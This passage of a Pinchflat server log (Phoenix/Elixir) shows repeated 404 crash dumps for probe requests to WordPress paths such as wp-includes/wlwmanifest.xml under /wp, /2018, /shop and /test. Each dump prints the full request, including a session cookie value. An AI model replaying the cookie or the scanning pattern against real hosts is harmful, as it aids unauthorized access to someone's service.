"SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYUVJsT3NuLUdENktfOFZ2UnZhZHppOEtD.X6txZSyu_TNBRkzk0xDADtq_Hb23UG9Si3pg4N3rsDA" }, halted: false, host: "pinchflat.8layer8.com", method: "GET", owner: #PID<0.17689.0>, params: %{}, path_info: ["wp", "wp-includes", "wlwmanifest"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.8layer8.com", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {10, 0, 1, 40}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYUVJsT3NuLUdENktfOFZ2UnZhZHppOEtD.X6txZSyu_TNBRkzk0xDADtq_Hb23UG9Si3pg4N3rsDA" }, req_headers: [ {"accept", "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8"}, {"accept-encoding", "gzip"}, {"accept-language", "en-US,en;q=0.5"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYUVJsT3NuLUdENktfOFZ2UnZhZHppOEtD.X6txZSyu_TNBRkzk0xDADtq_Hb23UG9Si3pg4N3rsDA"}, {"host", "pinchflat.8layer8.com"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"}, {"x-forwarded-for", "10.0.0.2"}, {"x-forwarded-host", "pinchflat.8layer8.com"}, {"x-forwarded-port", "443"}, {"x-forwarded-proto", "https"}, {"x-forwarded-server", "24de652d339a"}, {"x-real-ip", "10.0.0.2"} ], request_path: "//wp/wp-includes/wlwmanifest.xml", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GKGk2odlAVYf8KsACESB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.17683.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "//wp/wp-includes/wlwmanifest.xml", host: "pinchflat.8layer8.com", peer: {{10, 0, 1, 40}, 38876}, bindings: %{}, sock: {{10, 0, 1, 49}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "accept-encoding" => "gzip", "accept-language" => "en-US,en;q=0.5", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYUVJsT3NuLUdENktfOFZ2UnZhZHppOEtD.X6txZSyu_TNBRkzk0xDADtq_Hb23UG9Si3pg4N3rsDA", "host" => "pinchflat.8layer8.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36", "x-forwarded-for" => "10.0.0.2", "x-forwarded-host" => "pinchflat.8layer8.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "24de652d339a", "x-real-ip" => "10.0.0.2" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 5, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /wp/wp-includes/wlwmanifest (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.17683.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "//wp/wp-includes/wlwmanifest.xml", host: "pinchflat.8layer8.com", peer: {{10, 0, 1, 40}, 38876}, bindings: %{}, sock: {{10, 0, 1, 49}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "accept-encoding" => "gzip", "accept-language" => "en-US,en;q=0.5", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYUVJsT3NuLUdENktfOFZ2UnZhZHppOEtD.X6txZSyu_TNBRkzk0xDADtq_Hb23UG9Si3pg4N3rsDA", "host" => "pinchflat.8layer8.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36", "x-forwarded-for" => "10.0.0.2", "x-forwarded-host" => "pinchflat.8layer8.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "24de652d339a", "x-real-ip" => "10.0.0.2" }, (truncated) 10:29:47.260 [info] GET //2018/wp-includes/wlwmanifest.xml 10:29:47.261 [debug] QUERY OK source="settings" db=0.2ms idle=1306.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 10:29:47.261 [debug] QUERY OK source="settings" db=0.1ms idle=1306.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 10:29:47.261 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 10:29:47.262 [error] #PID<0.17690.0> running PinchflatWeb.Endpoint (connection #PID<0.17683.0>, stream id 6) terminated Server: pinchflat.8layer8.com:80 (http) Request: GET //2018/wp-includes/wlwmanifest.xml ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /2018/wp-includes/wlwmanifest (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.17683.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "//2018/wp-includes/wlwmanifest.xml", host: "pinchflat.8layer8.com", peer: {{10, 0, 1, 40}, 38876}, bindings: %{}, sock: {{10, 0, 1, 49}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "accept-encoding" => "gzip", "accept-language" => "en-US,en;q=0.5", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYUVJsT3NuLUdENktfOFZ2UnZhZHppOEtD.X6txZSyu_TNBRkzk0xDADtq_Hb23UG9Si3pg4N3rsDA", "host" => "pinchflat.8layer8.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36", "x-forwarded-for" => "10.0.0.2", "x-forwarded-host" => "pinchflat.8layer8.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "24de652d339a", "x-real-ip" => "10.0.0.2" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 6, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYUVJsT3NuLUdENktfOFZ2UnZhZHppOEtD.X6txZSyu_TNBRkzk0xDADtq_Hb23UG9Si3pg4N3rsDA" }, halted: false, host: "pinchflat.8layer8.com", method: "GET", owner: #PID<0.17690.0>, params: %{}, path_info: ["2018", "wp-includes", "wlwmanifest"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.8layer8.com", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {10, 0, 1, 40}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYUVJsT3NuLUdENktfOFZ2UnZhZHppOEtD.X6txZSyu_TNBRkzk0xDADtq_Hb23UG9Si3pg4N3rsDA" }, req_headers: [ {"accept", "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8"}, {"accept-encoding", "gzip"}, {"accept-language", "en-US,en;q=0.5"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYUVJsT3NuLUdENktfOFZ2UnZhZHppOEtD.X6txZSyu_TNBRkzk0xDADtq_Hb23UG9Si3pg4N3rsDA"}, {"host", "pinchflat.8layer8.com"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"}, {"x-forwarded-for", "10.0.0.2"}, {"x-forwarded-host", "pinchflat.8layer8.com"}, {"x-forwarded-port", "443"}, {"x-forwarded-proto", "https"}, {"x-forwarded-server", "24de652d339a"}, {"x-real-ip", "10.0.0.2"} ], request_path: "//2018/wp-includes/wlwmanifest.xml", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GKGk2qxDYTnYnboACEUB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.17683.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "//2018/wp-includes/wlwmanifest.xml", host: "pinchflat.8layer8.com", peer: {{10, 0, 1, 40}, 38876}, bindings: %{}, sock: {{10, 0, 1, 49}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "accept-encoding" => "gzip", "accept-language" => "en-US,en;q=0.5", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYUVJsT3NuLUdENktfOFZ2UnZhZHppOEtD.X6txZSyu_TNBRkzk0xDADtq_Hb23UG9Si3pg4N3rsDA", "host" => "pinchflat.8layer8.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36", "x-forwarded-for" => "10.0.0.2", "x-forwarded-host" => "pinchflat.8layer8.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "24de652d339a", "x-real-ip" => "10.0.0.2" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 6, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /2018/wp-includes/wlwmanifest (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.17683.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "//2018/wp-includes/wlwmanifest.xml", host: "pinchflat.8layer8.com", peer: {{10, 0, 1, 40}, 38876}, bindings: %{}, sock: {{10, 0, 1, 49}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "accept-encoding" => "gzip", "accept-language" => "en-US,en;q=0.5", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYUVJsT3NuLUdENktfOFZ2UnZhZHppOEtD.X6txZSyu_TNBRkzk0xDADtq_Hb23UG9Si3pg4N3rsDA", "host" => "pinchflat.8layer8.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36", "x-forwarded-for" => "10.0.0.2", "x-forwarded-host" => "pinchflat.8layer8.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "24de652d339a", "x-real-ip" => "10.0.0.2" (truncated) 10:29:47.870 [info] GET //shop/wp-includes/wlwmanifest.xml 10:29:47.870 [debug] QUERY OK source="settings" db=0.2ms idle=609.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 10:29:47.870 [debug] QUERY OK source="settings" db=0.0ms idle=609.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 10:29:47.871 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 10:29:47.871 [error] #PID<0.17691.0> running PinchflatWeb.Endpoint (connection #PID<0.17683.0>, stream id 7) terminated Server: pinchflat.8layer8.com:80 (http) Request: GET //shop/wp-includes/wlwmanifest.xml ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /shop/wp-includes/wlwmanifest (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.17683.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "//shop/wp-includes/wlwmanifest.xml", host: "pinchflat.8layer8.com", peer: {{10, 0, 1, 40}, 38876}, bindings: %{}, sock: {{10, 0, 1, 49}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "accept-encoding" => "gzip", "accept-language" => "en-US,en;q=0.5", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYUVJsT3NuLUdENktfOFZ2UnZhZHppOEtD.X6txZSyu_TNBRkzk0xDADtq_Hb23UG9Si3pg4N3rsDA", "host" => "pinchflat.8layer8.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36", "x-forwarded-for" => "10.0.0.2", "x-forwarded-host" => "pinchflat.8layer8.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "24de652d339a", "x-real-ip" => "10.0.0.2" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 7, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYUVJsT3NuLUdENktfOFZ2UnZhZHppOEtD.X6txZSyu_TNBRkzk0xDADtq_Hb23UG9Si3pg4N3rsDA" }, halted: false, host: "pinchflat.8layer8.com", method: "GET", owner: #PID<0.17691.0>, params: %{}, path_info: ["shop", "wp-includes", "wlwmanifest"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.8layer8.com", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {10, 0, 1, 40}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYUVJsT3NuLUdENktfOFZ2UnZhZHppOEtD.X6txZSyu_TNBRkzk0xDADtq_Hb23UG9Si3pg4N3rsDA" }, req_headers: [ {"accept", "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8"}, {"accept-encoding", "gzip"}, {"accept-language", "en-US,en;q=0.5"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYUVJsT3NuLUdENktfOFZ2UnZhZHppOEtD.X6txZSyu_TNBRkzk0xDADtq_Hb23UG9Si3pg4N3rsDA"}, {"host", "pinchflat.8layer8.com"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"}, {"x-forwarded-for", "10.0.0.2"}, {"x-forwarded-host", "pinchflat.8layer8.com"}, {"x-forwarded-port", "443"}, {"x-forwarded-proto", "https"}, {"x-forwarded-server", "24de652d339a"}, {"x-real-ip", "10.0.0.2"} ], request_path: "//shop/wp-includes/wlwmanifest.xml", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GKGk2tCZQZQGdv4ACEWB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.17683.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "//shop/wp-includes/wlwmanifest.xml", host: "pinchflat.8layer8.com", peer: {{10, 0, 1, 40}, 38876}, bindings: %{}, sock: {{10, 0, 1, 49}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "accept-encoding" => "gzip", "accept-language" => "en-US,en;q=0.5", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYUVJsT3NuLUdENktfOFZ2UnZhZHppOEtD.X6txZSyu_TNBRkzk0xDADtq_Hb23UG9Si3pg4N3rsDA", "host" => "pinchflat.8layer8.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36", "x-forwarded-for" => "10.0.0.2", "x-forwarded-host" => "pinchflat.8layer8.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "24de652d339a", "x-real-ip" => "10.0.0.2" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 7, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /shop/wp-includes/wlwmanifest (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.17683.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "//shop/wp-includes/wlwmanifest.xml", host: "pinchflat.8layer8.com", peer: {{10, 0, 1, 40}, 38876}, bindings: %{}, sock: {{10, 0, 1, 49}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "accept-encoding" => "gzip", "accept-language" => "en-US,en;q=0.5", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYUVJsT3NuLUdENktfOFZ2UnZhZHppOEtD.X6txZSyu_TNBRkzk0xDADtq_Hb23UG9Si3pg4N3rsDA", "host" => "pinchflat.8layer8.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36", "x-forwarded-for" => "10.0.0.2", "x-forwarded-host" => "pinchflat.8layer8.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "24de652d339a", "x-real-ip" => "10.0.0.2" (truncated) 10:29:48.508 [info] GET //test/wp-includes/wlwmanifest.xml 10:29:48.508 [debug] QUERY OK source="settings" db=0.2ms idle=810.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 10:29:48.508 [debug] QUERY OK source="settings" db=0.0ms idle=811.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 10:29:48.509 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 10:29:48.509 [error] #PID<0.17692.0> running PinchflatWeb.Endpoint (connection #PID<0.17683.0>, stream id 8) terminated Server: pinchflat.8layer8.com:80 (http) Request: GET //test/wp-includes/wlwmanifest.xml ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /test/wp-includes/wlwmanifest (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.17683.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "//test/wp-includes/wlwmanifest.xml", host: "pinchflat.8layer8.com", peer: {{10, 0, 1, 40}, 38876}, bindings: %{}, sock: {{10, 0, 1, 49}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "accept-encoding" => "gzip", "accept-language" => "en-US,en;q=0.5", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYUVJsT3NuLUdENktfOFZ2UnZhZHppOEtD.X6txZSyu_TNBRkzk0xDADtq_Hb23UG9Si3pg4N3rsDA", "host" => "pinchflat.8layer8.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36", "x-forwarded-for" => "10.0.0.2", "x-forwarded-host" => "pinchflat.8layer8.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "24de652d339a", "x-real-ip" => "10.0.0.2" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 8, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYUVJsT3NuLUdENktfOFZ2UnZhZHppOEtD.X6txZSyu_TNBRkzk0xDADtq_Hb23UG9Si3pg4N3rsDA" }, halted: false, host: "pinchflat.8layer8.com", method: "GET", owner: #PID<0.17692.0>, params: %{}, path_info: ["test", "wp-includes", "wlwmanifest"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.8layer8.com", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {10, 0, 1, 40}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYUVJsT3NuLUdENktfOFZ2UnZhZHppOEtD.X6txZSyu_TNBRkzk0xDADtq_Hb23UG9Si3pg4N3rsDA" }, req_headers: [ {"accept", "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8"}, {"accept-encoding", "gzip"}, {"accept-language", "en-US,en;q=0.5"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYUVJsT3NuLUdENktfOFZ2UnZhZHppOEtD.X6txZSyu_TNBRkzk0xDADtq_Hb23UG9Si3pg4N3rsDA"}, {"host", "pinchflat.8layer8.com"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"}, {"x-forwarded-for", "10.0.0.2"}, {"x-forwarded-host", "pinchflat.8layer8.com"}, {"x-forwarded-port", "443"}, {"x-forwarded-proto", "https"}, {"x-forwarded-server", "24de652d339a"}, {"x-real-ip", "10.0.0.2"} ], request_path: "//test/wp-includes/wlwmanifest.xml", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GKGk2vae0E9hSxYACEYB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.17683.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "//test/wp-includes/wlwmanifest.xml", host: "pinchflat.8layer8.com", peer: {{10, 0, 1, 40}, 38876}, bindings: %{}, sock: {{10, 0, 1, 49}, 8945}, ref: 